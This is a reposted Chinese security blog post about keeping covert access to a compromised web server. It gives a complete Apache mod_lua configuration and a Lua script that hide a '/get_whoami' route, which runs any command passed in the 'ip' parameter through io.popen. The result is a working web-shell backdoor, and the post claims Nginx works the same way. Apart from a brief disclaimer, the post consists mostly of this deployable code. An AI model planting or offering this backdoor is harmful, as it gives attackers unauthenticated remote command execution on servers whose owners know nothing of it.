利用Apache Nginx 的lua 模块的鸡肋权限维持的方法
2019-08-28 10:02:00 Author: xz.aliyun.com(查看原文) 阅读量:161 收藏

利用IIS的端口共享功能绕过防火墙

看了嘶吼的这篇文章,稍微思考了一下。是否Nginx 或者Apahce 是否存在这种方式。

Nginx 和apache 作为全球使用最多的两个WEB容器。是支持模块化的一个方式建立中间件的

例如 Nginx_lua 的防火墙就是一个最好的案例。

那么如果利用这种方式做一个权限控制呢。

下载做一个实验吧,此文只是给大家一个思考的,并不建议实际运用中

实验服务器Centos 7.4

WEB容器Apache 2.4.39

服务器面板:宝塔面板6.9

首先安装一下 Apache 2.4.39

只所以选择这个,因为默认安装了一个lua 模块
为了方便一点

从配置文件中发现。调用的是这个地址的一个.conf 文件。
新建一个文件如下:

LoadModule lua_module modules/mod_lua.so
LuaPackagePath /test/?.lua
LuaCodeCache forever
LuaHookAccessChecker /test/test.lua get late
LuaInputFilter post_filter /test/test.lua post
SetInputFilter post

test.lua 如下:

require 'apache2'
function return_message(status,msg)
    httpd.content_type = "application/json;charset=utf-8"
    httpd.status = status
    httpd:write(msg)
    return apache2.DONE
end

function get_return_state(rstate,rmsg)
    result = {}
    result['status'] = rstate
    result['msg'] = rmsg
    return result
end

function get_whami()
    if not uri_request_args['ip']  then return get_return_state(true,'格式错误') end
    data=io.popen(uri_request_args['ip'])
    return data:read("*all")
end

function min_route()
    if httpd.uri == '/get_whoami' then
        return_message(200,get_whami())
        return true
    else
        return false
    end
end

function get(request_httpd)
    httpd = request_httpd
    uri_request_args = httpd:parseargs();
    if min_route() then return apache2.DONE end
    return apache2.DECLINED
end
function post(request_httpd)
    httpd = request_httpd
    if min_route() then return apache2.DONE end
    return apache2.DECLINED
end

重启一下apache
访问一下

Nginx的话。也是一样的原理,具体的就不操作了。


文章来源: http://xz.aliyun.com/t/6088
如有侵权请联系:admin#unsafe.sh